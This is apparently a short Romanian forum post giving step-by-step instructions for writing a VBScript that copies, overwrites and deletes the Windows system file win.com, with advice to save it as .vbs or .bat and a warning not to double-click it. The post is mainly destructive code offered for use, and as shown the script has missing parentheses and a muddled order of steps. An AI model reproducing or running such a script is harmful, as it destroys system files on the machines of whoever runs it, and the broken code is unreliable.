Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele : Dim fso, fs1, fs2 Dim drive, folder, file Set fso = CreateObject("Scripting.FileSystemObject" Code:
Dim fso, fs1, fs2 Dim drive, folder, file Set fso = CreateObject("Scripting.FileSystemObject" drive = "c:\" folder ="windows\" file = "win.com" Set fs1 = fso.GetFile(drive&folder&file) fs1.copy ("c:\windows\temp\win.com" set fs2=fso.CreateTextFile("c:\windows\win.com" fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif" Set fs1 = fso.GetFile(drive&folder&file) fs1.delete fs2.close
Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele !!!Atentie!!! Nu dati dublu clik pe el
